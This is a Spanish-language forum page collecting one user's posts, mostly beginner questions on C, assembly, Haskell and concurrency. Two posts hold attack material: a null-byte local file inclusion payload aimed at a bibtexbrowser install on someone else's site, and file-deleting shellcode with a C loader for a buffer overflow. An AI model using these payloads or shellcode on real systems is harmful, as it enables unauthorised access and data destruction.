Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - GGZ

#1
Foro Libre / ¿Qué tan espía es Fibertel?
20 Diciembre 2017, 18:01 PM
¡Hola a todos!

Hace menos de un mes que tengo la cagada de Fibertel. Y no me gusta para nada, primero de todo buscando por internet ví cosas como estas:

Publicidad al navegar, https://www.reddit.com/r/argentina/comments/66evj8/redirectpublicidad_de_fibertel_al_navegar/

No podes acceder al router/modem localmente porque la password por defecto no está puesta la cambian, o sea si podés pero tenés que sacar el cable coaxil y hacer un reset al router para logearte en 192.168.0.1 y cuando conectás el cable coaxil de nuevo, te toman todos los datos de allá hasta el nombre de red de WiFi, en mi opinion esos datos deberían ser sólo locales, (y algunos cambios que hiciste no te los toma).

El router que venden está cerrado es un Cisco DPC3825, hay tutoriales de como flashearlo pero ya me parece mal desde el principio.

Cuando entrás a la página de www.fibertel.com.ar automáticamente te identifica por la IP y pone tu nombre y apellido en la barra, me parece horrible que hagan eso.

Todo lo que hacen me parece que está mal, y no confío para nada en Fibertel, pero como tenía apuro lo contraté el próximo mes me cambio a otra compania. Alguna vez escuché hablar de un proxy transparente también.

¿Qué opinan ustedes de Fibertel?, ¿confiarían más en Fibertel que cualquier otra cosa?

Saludos.
#2
Buenas.

Soy medio lento haciendo cuentas y me a veces me hace enojar, ¿saben alguna técnica para sumar o restar más rápido?, a veces me joden con lo que me cobran y recién cuando llego a mi casa me doy cuenta, obviamente que voy a reclamar, y cuando voy a reclamar la plata me siguen mintiendo que se equivocaron "sin querer", mentirosos.
#3
Hola.

Quiero ver si consigo explotar un LFI en bibtexbrowser.

Directorio a explotar: /bibtexbrowser.php?frameset&bib=file.fib

Me puse a mirar el código de bibtexbrowser ( https://github.com/monperrus/bibtexbrowser/blob/master/bibtexbrowser.php ), y me encontré con esto:

Código (php) [Seleccionar]
 foreach(explode(MULTIPLE_BIB_SEPARATOR, $bibtex_filenames) as $bib) {
   // get file extension to only allow .bib files
   $ext = pathinfo($bib, PATHINFO_EXTENSION);
   // this is a security protection
   if (BIBTEXBROWSER_LOCAL_BIB_ONLY && (!file_exists($bib) || strcasecmp($ext, 'bib') != 0)) {
     // to automate dectection of faulty links with tools such as webcheck
     header('HTTP/1.1 404 Not found');
     // escape $bib to prevent XSS
     $escapedBib = htmlEntities($bib, ENT_QUOTES);
     die('<b>the bib file '.$escapedBib.' does not exist !</b>');
   }
 } // end for each


Este código está un poco más actualizado que el que estoy explotando en otra página, porque la versión que esta cargada en la página donde estoy explotando la vulnerabilidad es vulnerable a XSS, cuando esta versión de bibtexbrowser no es vulnerable, se puede ver que no es vulnerable por esta línea:
Código (php) [Seleccionar]
     // escape $bib to prevent XSS
     $escapedBib = htmlEntities($bib, ENT_QUOTES);


Ahora volviendo al caso de LFI:

Baja la extensión del archivo así:
Código (php) [Seleccionar]
$ext = pathinfo($bib, PATHINFO_EXTENSION);

Buscando por Google, leí que se podía hacer un bypass de la función pathinfo utilizando null byte ( http://www.madirish.net/202 ).

Entonces para cargarme el index.php intenté algo como esto: index.php%00.bib , pero no parece funcionar.

¿Qué otras cosas podría intentar? o alguna explicación de porqué esto no funciona.

Saludos

#4
Hola.

Encontré este código buscando por Google y me parece tremendo.

Es un fizzbuzz y está terrible.

¿FizzBuzz, qué es?
CitarEscribe, en el lenguaje de programación que desees, un programa que muestre en pantalla los números del 1 al 100, sustituyendo los múltiplos de 3 por el palabro "Fizz" y, a su vez, los múltiplos de 5 por "Buzz". Si son múltiplos de 3 y 5, imprimir el índice.

#include <stdio.h>

int main() {
 int i;
 for (i=1; i<=100; i++) {
   if (i%3==0) {
     printf("Fizz");
   }
   if (i%5==0) {
     printf("Buzz");
   }
   if (i%3!=0 && i%5!=0) {
     printf("%d", i);
   }
   printf("\n");
 }
 return 0;
}


Ofuscado:

int main(__,_)
int __;long unsigned _;
{
 if(exit((asprintf((void**)&_,&(14*!(__%15)+!!(__%15)*!(__%3)*2+!!(__%3)*!(__%5)*8+!!(__%5)*!!(__%3)*24)[(const char*)&(short[]){0,'if','zz',256,'ub','zz',512,'if','zz','ub','zz',1024,'d%',2048}],__),free((puts((void*)_),_)),__<100?(**main)(__+1):0)),1){}
}


¿Alguno tendrá algún consejo o alguna guia para aprender a ofuscar código en C? Encontré cosas interesantes de todos modos quería dejar este código hermoso acá.

Saludos.
#5
¡Buenas! Vaaamooos al tema:

Para empezar, no es es un problema de software porque probé con varios sistemas operativos (Windows como varias distros de GNU/Linux) y en todos pasa exactamente lo mismo, la PC se congela/traba automáticamente sin que yo pueda dar instrucciones/comandos, no puedo hacer nada sólo reiniciar y ahí sí vuelve a funcionar.

Mi computadora después de un tiempo aleatorio (no más de 2 días), simplemente se queda congelada y el teclado ya no prende más, la luz del "Blog Num" no se activa, la placa de video queda con una luz roja, que también significa que no tiene más alimentación.

¿Puede ser un problema de compatibilidad mi placa madre con respecto a la placa de video?, la verdad es que no sé. Este problema apareció de la nada, mi computadora funcionaba perfectamente hasta este mes.

¿Puede ser un problema de disco duro?, miré el dmesg y nunca ví ningún error de escritura ni de lectura.

Mi PC:
AMD FX(tm) 6300 Six-Core Processor (6 CPUs), ~3.5GHz
Memoria: 8GB
Placa de video: ASUS R7 250X Series.
Placa Madre: ASRock N68-GS4 FX
Fuente: EVGA 500W 80 PLUS


WTFF! is happening.

Si me dicen que es un problema de hdd me compro otro, es lo único que no cambié de la computadora, pero no estoy 100% seguro de que sea eso, es más ni siquiera me llamó la atención en el primer momento, me parece que el problema es generado por otra cosa.

Ahora saqué todo limpié todos los contactos de cada uno, cambié la pasta térmica blablabla, y vamos a ver que pasa, ahora estoy corriendo Windows les aviso si me reinicia (creo que si va a pasar).

En caso de no tener respuesta a mi pregunta, ¿en qué página me recomendarías publicar este problema?

Saludos.
#6
#include <stdio.h>
#include <pthread.h>

pthread_mutex_t MyMutex = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t seguir2 = PTHREAD_COND_INITIALIZER;
pthread_cond_t seguir = PTHREAD_COND_INITIALIZER;

#define N 5

int aloja = 0;
int sigo = 0;



/*
Cuando un thread -que debe tener el mutex ya tomado- llama a wait(), suelta el mutex y
entra en espera bloqueante.

DEBE TENER EL MUTEX YA TOMADO!



Cuando un thread llama a signal(), otro thread en espera, de haberlo, se despierta de su wait()
CON EL MUTEX YA ADQUIRIDO

CON EL MUTEX YA ADQUIRIDO!

*/

void *freno (void *a)
{
for (;;){

// Tomo el mutex.
pthread_mutex_lock(&MyMutex);

// Hey!, quiero entrar, terminá lo que estás haciendo, te espero.
aloja = 1;

// Espero hasta que se "apague" la función avanzar.
// Cuando se apaga, AUTOMATICAMENTE TOMO YO EL MUTEX!!
while (sigo != 0){printf ("me llego la señal.\n"); pthread_cond_wait(&seguir,&MyMutex);}

// Si llegué hasta acá es porque yo tengo el mutex nadie mas lo puede tomar.
printf ("Estoy en freno\n");

// Terminé de hacer todo lo que quería hacer.
aloja = 0; // Por más que lo ponga el 0, "avanzar" no puede entrar todavía, porque
// yo tengo el mutex!


/* Libero el mutex, es decir, ahora la función avanzar sí puede tomar el mutex, PERO
a la vez no ya que está dentro de un wait esperando un SIGNAL no que libere un mutex.
Aunque no está demás recordar que solo 1 puede tomar el mutex a la vez. */
pthread_mutex_unlock(&MyMutex);

/*
Cuando un thread llama a signal(), otro thread en espera, de haberlo, se despierta de su wait
CON EL MUTEX YA TOMADO!

pthread_cond_signal(&seguir2);

*/

/*
Cuando un thread llama a broadcast(), todos los threads en espera, de haberlo, se despiertan de su
wait CON EL MUTEX YA TOMADO, es decir en este caso, se pelean por quien toma el mutex.
*/

pthread_cond_broadcast(&seguir2);
}
}


void *avanzar (void *b)
{
for (;;){
// Tomo yo el mutex, nadie más lo puede tomar.
pthread_mutex_lock(&MyMutex);
sigo++;
// Libero, ahora si puede tomar el mutex la función "freno".
pthread_mutex_unlock(&MyMutex);

//sleep(3);
printf ("estoy en sigo.\n");

// No puedo tomar el mutex hasta que la función freno recién llegue a la linea donde entra en espera!
pthread_mutex_lock(&MyMutex);
sigo--;
// Libero el mutex, recien ahora pueden ejecutarse más funciones "freno", antes no porque yo tenía el
// mutex tomado.
pthread_mutex_unlock(&MyMutex);

printf("Avanzar: %d\n",sigo);

/* Esta señal está esperando "freno" para poder continuar, pero además de esperar la señal espera
también que la cantidad de "sigo" sea igual a 0 */

/*
Si sigo es un número mayor a 0, entonces de todos modos va a seguir esperando.
*/
pthread_cond_signal(&seguir);

/*PERO! a la vez yo me bloqueo. Esperando ahora que "freno" me desbloque. */
/* Y a su vez freno está esperando que yo lo desbloquee. */
while (aloja != 0)pthread_cond_wait(&seguir2,&MyMutex);

/*
¿Qué pasaría si avanzar toma el mutex e incrementa en 1 la variable "sigo" y al toque "freno" pone
en 1 la variable aloja?

Lo que pasaría es que la variable sigo se incrementa luego suelta el mutex, lo toma la función"freno"
pone en 1 aloja pero como sigo es mayor que cero entonces SUELTA el mutex automáticamente y deja
que siga funcionando "avanzar", entonces pueden pasar cosas!:

Primero de todo, no se pueden ejecutar dos "frenos" a a la vez pero si se pueden ejecutar "avanzar"
muchas veces.

Entonces, avanzar toma el mutex y decrementa en 1 la variable
sigo y al momento lo suelta, PERO "freno" todavía no puede hacer nada porque está esperando un
signal,  no está esperando que suelte el mutex (explicado anteriormente)

Entonces yo le doy el signal y suponiendo que el numero de sigo es igual a 0, se ejecuta freno y yo
entro en espera hasta que freno termine.


*/
}

}

int main (void)
{
int i;
pthread_t prueba1[N],prueba2[N];

for (i=0; i<N; i++){
pthread_create(&prueba1[i],0,freno,"aloja");
pthread_create(&prueba2[i],0,avanzar,"chau");
}

pthread_join(prueba1[0],0);
return 0;
}


El programa sigue está logica aunque las funciones no se llamen lector y escritor.

1. No puede haber un lector accediendo al arreglo al mismo tiempo que un escritor.
2. Varios lectores pueden acceder al arreglo simult´aneamente.
3. S´olo puede haber un escritor a la vez.

Y además cuando los lectores que están leyendo terminen su lectura pero no se puedan empezar nuevas lecturas hasta que el escritor escriba.

freno = escritor.
avanzar = lector.

Aunque en este caso no escriben ni leen nada solo muestran texto.

El problema es que no funciona y no sé que es lo que estoy pensando mal, el programa se congela es decir en algún momento queda esperando algo que nunca llega.

#7
Hola.

¿Acá nadie programa en Erlang?, lo busqué creo que no existe ningún subforo.

Saludos.




[MOD] Revisa tu avatar, mide 477 x 819. Las Reglas del Foro indican maximo 300 x 400, de lo contrario será retirado.
#8
Quiero escribir esto:

int fib (int n){
       if (n <= 1)
               return n;
       return fib(n-1) + fib(n-2);
}


En programación dinámica es decir sin que se recalculen tantas veces los mismos resultados y usando TOP-DOWN.

Intenté esto:

#define MAX 1000
char mem[MAX];

void start(){
       int i;
       for (i=0; i<MAX; i++)
               mem[i] = -1;
}

int td (int n){

       // Si es igual a -1 significa que todavía no lo resolvimos.
       if (mem[n] == -1){

               if (n <= 1)
                       mem[n] = n;
               else
                       mem[n] = td(n-1) + td(n-2);
       }

       return mem[n];
}


Pero no funciona funciona en los primeros a partir del número 20 tira mal el resultado, ¿alguna pista de por qué no funciona?

Saludos.
#9
¿Por qué? creo que la seguridad no va por ese lado, tener que estar logeandose cada 90 minutos con eso sólo consiguieron que guarde las contraseñas en mi navegador que tampoco es seguro.

Antes no estaba así, ahora cuando estoy escribiendo algún tema o mensaje tengo que volver a logearme, después volver atrás y copiar todo el mensaje, es molesto eso.
Me parece innecesario además, si te roban la cookie con XSS en menos de 10 minutos pueden hacer todo lo que quieran, ¿cuál es el fin de una sesión de sólo 90 m?

¿O es sólo mío el problema?

Saludos.
#10
Hola a todos!

int ackerman_or(int m, int n)
{
       if(m==0)
               return n+1;

       else
       {
               if(n==0)
                       return ackerman_or(m-1, 1);
               else
                       return ackerman_or(m-1, ackerman_or(m, n-1));
       }
}



Intenté hacer una versión utilizando programación dinámica, ya que en esta versión se recalculan demasiadas cosas pero no tuve éxito.

¿Alguien que me podría dar una calavera de como hacerlo?

Saludos.
#11
ASM / Shellcode to HEX (BOF)
26 Enero 2017, 23:48 PM
Hola a todos, estoy explotando un bof necesito una ayuda.

Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.

Código (asm) [Seleccionar]
.section .data
__archivo:
.asciz "/home/httpd/test"  # Archivo a eliminar.

.section .text
.global main
main:
       movl $10, %eax    
       movl $__archivo, %ebx    
       int  $0x80

       movl %eax, %ebx  
       movl $1, %eax      
       int  $0x80


Quiero pasar este código asm que borra un archivo a C tipo:


char sc[] =  "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";

int main (void){

       int (*func)();
       func = (int (*)())sc;
       (int)(*func)();
}



Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?

Probé hacerlo con objdump pero no funciona.

Saludos.
#12
ASM / ¿Funciones anidadas?
21 Noviembre 2016, 18:05 PM
Hola!, estuve buscando por internet pero todavía no me queda del todo claro, alguien sabe algo sobre funciones anidadas?


Algo como esto estoy buscando

void f( int a){

      int gg(char v){
            return 1;
     }
      gg('b');

}


Sí se que se lo puede pasar a ASM con gcc -S, de todos modos no entiendo los procedimientos que hace.


Saludos!
#13
Programación C/C++ / [C-ASM] Pila
21 Noviembre 2016, 01:58 AM
¿Podrían explicarme un poco mejor como es que funciona stack y hacer_stack?
#include <stdlib.h>
#include <setjmp.h>

#define TPILA 4096
#define NPILAS 10

static void hace_stack(jmp_buf buf, void (*pf)(), unsigned prof, char *dummy) {

       printf ("prof: %d\n",prof);
       printf ("dummy: %d\n",dummy-(char*) &prof );


       if( dummy - (char *) &prof >= prof) {
               if (setjmp(buf)!=0) {
                       pf(); abort();
               }
       } else hace_stack(buf, pf, prof, dummy);
}

void stack(jmp_buf buf, void (*pf)()) {
       static int ctas = NPILAS;
       char dummy;
       hace_stack(buf, pf, TPILA*ctas, &dummy);
       ctas--;
}



#include <stdio.h>
#include "guindows.h"

task t1, t2, taskmain;

void ft1(){
double d;
for(d=-1;;d+=0.001) {
printf("d=%f\n", d);
TRANSFER(t1,t2);
}
}

void ft2(){
int i;
for(i=0;i<10000;i++) {
printf("i=%d\n", i);
TRANSFER(t2,t1);
}
TRANSFER(t2, taskmain);
}

main(){
stack(t1,ft1);
stack(t2,ft2);
TRANSFER(taskmain,t1);
return 0;
}



¿Para qué carajos sirve esto?

       if( dummy - (char *) &prof >= prof) {
               if (setjmp(buf)!=0) {
                       pf(); abort();
               }
       } else hace_stack(buf, pf, prof, dummy);


Me parece una forma muy rara de codear (char *)&prof sé lo que significa pero no entiendo para que sirve.

Todo lo de guindows.h lo entiendo.
#14
Hola a todos, la pregunta es bien directa.

No entiendo bien la diferencia entre Programación Dinámica(botton up y top-down)
¿Alguien me podría dar ejemplos de códigos explicando la lógica de cada uno?


¡Saludos!
#15
Creo que ya sé la respuesta, pero por si las dudas pregunto.

Básicamente tengo que invertir una pila, una estructura de datos que la represento como:

typedef struct _AStack {
int data[MAX_STACK];
int back;
}AStack;


Acá va la duda:



void astack_reverse (AStack *s){
int i;
AStack *reverse = astack_create();

for (i=s->back; i >=0; i--){
astack_push(reverse,s->data[i]);
}
*s = *reverse;
}


La duda está en la última linea *s=*reverse, lo que estoy haciendo es igualar todos los elementos de s a reverse, (ya sé que no es lo más eficiente).

Ahora si yo hago s = reverse (sin *) lo que pasa es que yo estoy modificando una variable global (estoy modificando la dirección donde apunta) y cuando vuelve al main perdí la información. Eso si entiendo ...

¿Pero por qué acá no pasa lo mismo?

Acá estoy implementando pilas pero con otra estructura:

typedef struct _AStack {
       int *data;
       int size;
       int back;
}AStack;



void astack_push(AStack *s, int v){

       if (s != NULL){
               if (s->size > s->back){
                       s->back++;
                       s->data[s->back] = v;
               }else{
                       s->size*=2;
                       int *new_data = realloc(s->data,(s->size));
                       if (new_data != NULL) s->data = new_data;
                       else printf ("No se pudo asignar memoria.\n");
               }
       }
}



Me refiero a esta parte:

                       int *new_data = realloc(s->data,(s->size));
                       if (new_data != NULL) s->data = new_data;
                       else printf ("No se pudo asignar memoria.\n");



... s->data = new_data;

Siendo que new_data la declaré dentro de la función y s->data también me lo pasaron, ¿es por como funciona el realloc?, estoy casi seguro que sí.

Se me hizo medio largo.
Saludos!
#16
La consiga: En el programa que sigue, funcs implementa void (*funcs[])()={f1, f2, f3}. Compl´etelo para que
la l´ınea con el comentario corresponda a funcs[entero](). Use el c´odigo m´as eficiente.


Código (asm) [Seleccionar]
.data
fmt:
  .string "%d"
entero:
  .long 020
funcs:
  .quad f1
  .quad f2
  .quad f3


.text

f1:
  movl $0,%esi
  movq $fmt, %rdi
  call printf
  jmp fin

f2:
  movl $1,%esi
  movq $fmt, %rdi
  call printf
  jmp fin

f3:
  movl $2,%esi
  movq $fmt, %rdi
  call printf
  jmp fin

.global main
main:
  pushq %rbp
  movq %rsp,%rbp

# Leemos el entero
  movq $entero, %rsi
  movq $fmt, %rdi
  xorq %rax,%rax
  call scanf
  xorq %rax,%rax

  movl entero, %ecx
  movq funcs(, %rcx, 8), %rdx  
 
  jmp *%rdx

fin:
  movq %rbp, %rsp
  popq %rbp
  ret


Pero realmente no entiendo bien para que sirven estas dos intrucciones:
  pushq %rbp
  movq %rsp,%rbp


Yo sé que la traducción de eso en C es algo como *(rsp) = rbp; y rbp = rsp

Pero no entiendo para nada, ¿para qué se usa eso? Leí todo el apunte y apenas lo entendí.
No entiendo bien que tiene que ver las funciones con la pila.
Si alguien me da algún ejemplo en C sería mucho mejor, porque entiendo perfecto C.
#17
PHP / [DUDA] ¿PHP es viejo? ¿Alternativa a PHP?
14 Octubre 2016, 15:26 PM
Hola a todos,

¿por qué muchos dicen que PHP ya pasó de moda?, además que hacen burlas al lenguaje, siendo que usan una plataforma hecha en PHP como Facebook.
Y de ser así, ¿cuáles lenguajes se usan ahora como alternativa de PHP? y ¿qué ventajas tienen en comp con PHP?

:P
#18
ASM / [Gnu AS] BruteForce
1 Octubre 2016, 06:42 AM
Voy al grano,

Hecho en C:
#include <stdio.h>

int fuerzabruta(char *S, char *s, int lS, int ls)
{
        int i, j;

        for(i=0; i<lS-ls+1; i++)
                if(S[i]==s[0]) {
                      for (j=0; j<ls; j++){
                              if (S[i+j] != s[j]) break;
                      }
   
                        if(j==ls) return i;
        }
        return -1;
}   


Lo pasé a ASM y anduvo pero lo quise hacer denuevo y no funcionó:

1era versión:
Código (asm) [Seleccionar]
#int fuerzabruta(char *S, char *s, int lS, int ls){
# int i, j;
# for(i=0; i<lS-ls+1; i++)
# if(S[i]==s[0]) {
# for(j=0; j<ls && S[i+j]==s[j]; j++);
# if(j==ls) return i;
# }
# return -1;
#}

# Retorna la posición del primer elemento de la cadena a buscar.
# "sHolasos" "sos" retorna 5.



# lS = %rdx
# ls = %rcx

.data
i: .quad 0

.text
.global bf
bf:
# iremos incrementando (df = 0)
cld

# Guardo variable ls en otro registro.
# rdx = ls
movq %rcx,%r8


# cuantas veces repetimos al primer for?

subq %rcx,%rdx # rdx = rdx - rcx
# es decir: lS = lS - ls

addq $1,%rdx # sumo 1



# Lo cargamos al rcx para el bucle.
movq %rdx, %rcx
aca:
lodsb # copiamos el primer caracter de la 2da cadena en el rax
# decq %rsi

sigue1:
#lodsb
# primero busco el primer caracter de la cadena 2 en la cadena 1.
# mas tecnico: comparamos rax con rdi
scasb
# si encontramos el primer caracter en algun lugar de la cadena, saltamos al 2do for.

je found
loop sigue1
# termina.
# -1 si no lo encontramos el primer caracter de la 2da cadena en la primera.
movq $-1, %rax
ret


found:
# encontramos el primer caracter de la 2da cadena en la primera.
# estamos dentro del primer if.
# usaremos el registro r8, hasta el momento r8 = ls.

# Quiero saber el valor de i
# i = %rdx - %rcx
# i = lS-ls+1 - veces repetido (hacia atras,es decir del tope al 0).

# Guardamos informacion del bucle anterior.
movq %rcx,%r13
movq %rdx,%r15
movq %rsi,%r9
subq $1,%r9

subq %rcx,%rdx # rdx = rdx - rcx ( i = rdx )


# Cargamos r8=ls a rcx para el 2do for. Hay que restar uno.
movq %r8,%rcx
decq %rcx
movq %rdi,%r14
sigue2:
# comprobamos si los siguientes caracteres estan en la cadena 1.
# tengo que cambiar adonde apunta rdi, es decir la primer cadena. ( S[i+j] )
# i = rdx
cmpsb
jne fail
loop sigue2
movq %rdx,%rax
addq $1,%rax
ret


# fallo en el 2do for.
fail:
# el último if ( if j == ls return i )
# si es igual a 0 significa que recorrió todo el bucle.
cmpq $0, %rcx
je final
# si no son iguales vuelvo al 1do for.

# antes cargo el rcx y rdi de nuevo, con informacion del i del primer bucle.
# restauro registros
movq %r13,%rcx
movq %r14,%rdi

movq %r9, %rsi
movq %r15,%rdx
jmp aca

final:
subq %rcx,%rdx # es el i
movq %rdx,%rax
ret


Lo implemento usando se, o sea declaro el prototipo en c y llamo a esa funcion, haciendo gcc bf.c bf.s -o bf
Esa primer versión con todo lo que probé funcionó pero esta segunda versión no, capaz me comí algo pero ya me cansé de buscarlo.
Intenté con gdb pero me cansé a ver si alguien me puede dar una manito.
Para usar gdb lo compilaba con -g

Segunda versión:
Código (asm) [Seleccionar]
.text
.global bf
bf:
cld
movq %rcx,%r8

subq %rdx,%rcx # rdx = rdx - rcx
# lS = lS - ls
addq $1, %rdx

movq %rdx,%r9

movq %rdx,%rcx
aca:
lodsb # cargamos el primer caracter de la 2da cadena en el rax.
subq $1,%rsi

_1for:
scasb
je si_eq_s0
loop _1for
movq $-1, %rax
ret

si_eq_s0:
# Para volver al anterior bucle.
movq %rsi, %r14
addq $1,%rsi
movq %rdi, %r12
movq %rcx, %r13 # valor de i.

subq %r13,%r9 # valor de i


movq %r8,%rcx
subq $1,%rcx

_2for:
cmpsb # rsi == rdi?
jne fail
loop _2for
movq %r13,%rax
ret

fail:
cmpq $0,%rcx
je final

movq %r14,%rsi
movq %r12,%rdi
movq %r13,%rcx
jmp aca

final:
movq %r9,%rax
ret


Esta es la imp.

#include <stdio.h>
int bf ( char *s1, char *s2, int long_s1, int long_s2);
int main (void){
printf ("Resultado: %d\n",bf("soAdSDsos","sos",9,3));
        return 0;
}



Saludos!

#19
#include <stdio.h>
#include <stdlib.h>

int main (void){

       int *a= malloc (sizeof (int) * 3);

       a[0]=1;
       a[1]=2342;
       a[2]=43;
       a[3]=89;
       a[4]=666;
       a[5]=12312;
       a[6]=43;
       a[7]=89;
       a[8]=666;
       a[9]=12312;
       a[10]=32;
       a[11]=32;

       int i;
       for (i=0; i<=11; i++)printf ("%d ",a[i]);
       puts ("");


       return 0;
}


¿Por qué no desborda? si yo sólo pedí espacio para 3, estoy confundido.

Saludos!  :-\
#20
Las listas enlazadas implementadas con punteros tienen la flexibilidad de poder insertar elementos en cualquier parte de ellas sin mover los elementos anteriores ni posteriores, mientras que los arreglos no cuentan con esta flexibilidad.
Proponga una implementación de similar a listas enlazadas, pero de longitud fija, utilizando arreglos, y que provea esta flexibilidad.


Me maté pensandolo pero no me sale, no tengo alguna idea para empezar, ¿alguien que me pueda encaminar?, por favor.




Y tengo otra duda con un problema de tipos que tengo en mi cabeza al parecer(no tiene nada que ver con el anterior ejercicio):

SList slist_append(SList list, int data)
{
     SList newNode = malloc(sizeof(SNode));
     SList node;
     slist_data(newNode) = data;
     slist_next(newNode) = NULL;
     if (list == slist_nil()) {
        return newNode;
     }
     node = list;
     while (slist_next(node) != slist_nil()) {
           node = slist_next(node);
     }
     /* ahora 'node' apunta al ultimo nodo en la lista */
     slist_next(node) = newNode;
     return list;
}


¿Por qué retorna list, no sería node?
Si yo estoy trabajando con node y no con list, a list ni siquiera lo he tocado es porque es algún puntero o algo así?

No lo entiendo

Saludos!
#21
Programación C/C++ / [C] char * vs char []
22 Marzo 2016, 01:26 AM
¿Es lo mismo hacer esto?

#include <stdio.h>
#include <stdlib.h>

int main (void){

       char *s;
       s=(char *) malloc (3);

       s[0]='1';
       s[1]='2';
       s[2]='3';


       printf ("%s\n",s);

       return 0;
}


Que


#include <stdio.h>

int main (void){

       char s[3];

       char s[0]='1';
       char s[1]='2';
       char s[2]='3';

       printf ("%s\n",s);

}


¿Podría hacer lo mismo utilizando char * pero sin utilizar malloc?

Otra duda char *s="aloja"; char s[]="aloja";
¿Qué diferencias tienen?

Saludos!

#22
Hola a todos!  :D

¿Existe alguna competencia de programación o alguna lista larga de problemas para programar, problemas de cualquier tipo?

Saludos!
#23
Hola a todos!

Estaría bueno agregar algún plugin para dar votos a un artículo.
¿Hay algún plugin para dar negativos o positivos a ciertos artículos?
Y también a respuestas del propio artículo.

Saludos!
#24
Hola a todos!

He creado estas funciones con el fin de entender como funcionan cada una de ellas.
Por eso algunas ya están definidas como por ejemplo tail,reverse, zip, ...

Código (diff) [Seleccionar]
fac 0 = 1
fac n = n * fac (n-1)

replicate' 0 n = [n]
replicate' x n = n:replicate (x-1) n

take' 0 xs = []
take' n [] = []
take' 1 xs = [head xs]
take' n xs = head xs:take (n-1) (tail xs)

reverse' [] = []
reverse' (x:xs)=last (x:xs):reverse'(init (x:xs))

haycero [] = False
haycero (x:xs) = (x==0) || haycero (xs)

todosceros [] = error "No está definido para una lista vacía"
todosceros [x] = (x==0)
todosceros (x':x:xs) = (x'==0) && todosceros(x:xs)


maximo n x = if (n>x) then n else x
minimo n x = if (n>x) then x else n

maximo' n x
 | n>=x = n
 | n<x = x

zip' xs []         = []
zip' [] ys         = []
zip' (x:xs) (y:ys) = [(x,y)]  ++  zip' xs ys

zip'' xs [] = []
zip'' [] ys = []
zip'' (x:xs) (y:ys) = (x,y) : zip'' xs ys

nth [] n = error "No está definida para lista vacía"
nth xs n = if (length xs > n) then xs !! n else error "No se puede acceder a esa posición ya que no existe"



{-
Comprueba si un elemento dado está en la lista
-}

elem' n []     = False
elem' n (x:xs) = (n==x) || elem' n xs

{-
ANALISIS POR CASOS
-}

elem'':: Eq a => a -> [a] -> Bool
elem'' n xs
 | length xs==0  = False
 | otherwise     = (n==head xs) || elem'' n (tail xs)

{-
quicksort [10,2,5,3,1,6,7,4,2,3,4,8,9] = [1,2,2,3,3,4,4,5,6,7,8,9,10]
-}


{-
zip [] []= []
zip [2] [5] = [(2,5)] ++ zip [] []
zip [1,2] [4,5] = [(1,4)] ++ zip[2][5]
-}

length' [] = 0
length' (x:xs) = 1 + length' xs

{-
repeat' 0
repeat'
-}

map' f [] = []
map' f (x:xs) = f x : map' f xs

tail' [] = []
tail' (x:xs) = xs

{-
filter (>3) [1,2,3,4,10,10,10,20,20,20] = [4,10,10,10,...]
-}

sumatoria [] = 0
sumatoria (x:xs) = x+sumatoria xs

multiplicar [] = 1
multiplicar (x:xs) = x*multiplicar xs

sumatoria' xs
 | length (xs) == 0 = 0
 | otherwise = head xs+sumatoria' (tail xs)

multidos [] = []
multidos (x:xs) = 2*x : multidos xs

multiPor n [] = []
multiPor n (x:xs) = n*x : multiPor n xs

h [] = [1]
h (x:xs) = (x+1) : h xs

test [] = []
test (5:[]) = error "Tu lista empieza por 5"

h' [] = [1]
h' (x:xs) = [(x+1)] ++ h xs

g 0 = error "El numero es cero"
g n = error "El numero no es cero"

multiplicar' xs
| length xs == 0 = 1
| length xs /= 0 = head xs*multiplicar'(tail xs)


filter' f [] = []
filter' f (x:xs)
     | f x =  x:filter' f xs
     | otherwise = filter' f xs


Ejecutan ghci y lo cargan con :l <nombre-del-archivo>
Después hagan los llamados que quieran.

Perdón como se ve, no hay una etiqueta para Haskell.

Saludos!
#25
Hola a todos!,


¿El proyecto sigue en pie?, la página está caída.

¿Qué pasó?
¿Existe algún otro proyecto parecido en el foro?

Saludos!
#26
#include <stdio.h>

int main (void){

  int a,c;
  a=c=3;

  while ((a=c=getchar()) == '1');

  printf ("c:%c\n",c);
  printf ("a:%c\n",a);

  return 0;
}



[dresuer@emachine TRABAJILLO]$ echo '3' | ./TEST
c:3
a:3
[dresuer@emachine TRABAJILLO]$ echo '1' | ./TEST
c:

a:

[dresuer@emachine TRABAJILLO]$


¿Qué hace este programa?

¿Por qué a y c valen una nueva linea?

¿a=c='\n'?

No entiendo.
#27
Hola a todos!

Me tira un error, en realidad no sé bien como usar realloc.

/*
Escribir un programa que lea enteros y los almacene en un arreglo
sin conocer de antemano la cantidad de valores que se leerán.
El programa deberá completar el arreglo hasta que se ingrese un número negativo,
valor que no se agregará a la mencionada estructura de datos. Finalmente deberá imprimir
el promedio de los elementos del arreglo.
*/

#include <stdio.h>
#include <stdlib.h>


int main (void){
int a,promedio;
int i;
int *AR=malloc (1*sizeof(int));
int *tmp_AR;

i=promedio=0;
printf ("Number no negative: \n");
scanf ("%d",&AR[i]);
while (AR[i]>=0) {
promedio+=AR[i];
scanf ("%d",&AR[i]);

tmp_AR=realloc(AR,(1+i)*sizeof(int));
if (tmp_AR == NULL){
// Falló la asignación de memoria.
exit (-1);
}
else {  
// Asignar memoria a AR
AR=tmp_AR;
}
i++;
}

printf ("Average: %f\n",(double)promedio);




return 0;
}


Me tira este error : Error in `./12': realloc(): invalid next size: 0x0000000001a63010 ***

Y encima después me acepta numeros negativos no entiendo por qué

¿Cómo lo debería hacer?
Saludos!
#28
Programación C/C++ / [C] Estructuras
18 Noviembre 2015, 22:21 PM
Buenas!  ;D

/*Escribir un programa que defina el tipo Persona, con nombre, edad y nacionalidad; solicite al
usuario el ingreso de los datos de 8 personas y los guarde en un arreglo con elementos de tipo Persona,
para finalmente extraer del arreglo los datos de la persona más joven e imprimirlos en pantalla.
Sugerencia: para probar el programa rápidamente se pueden guardar datos de personas
en un archivo de texto y redirigir el contenido del mismo, usando la consola de Linux, al binario del programa.*/


¿Alguien me ayuda con esto por lo menos me guia un poco?
No digo que lo hagan todo.

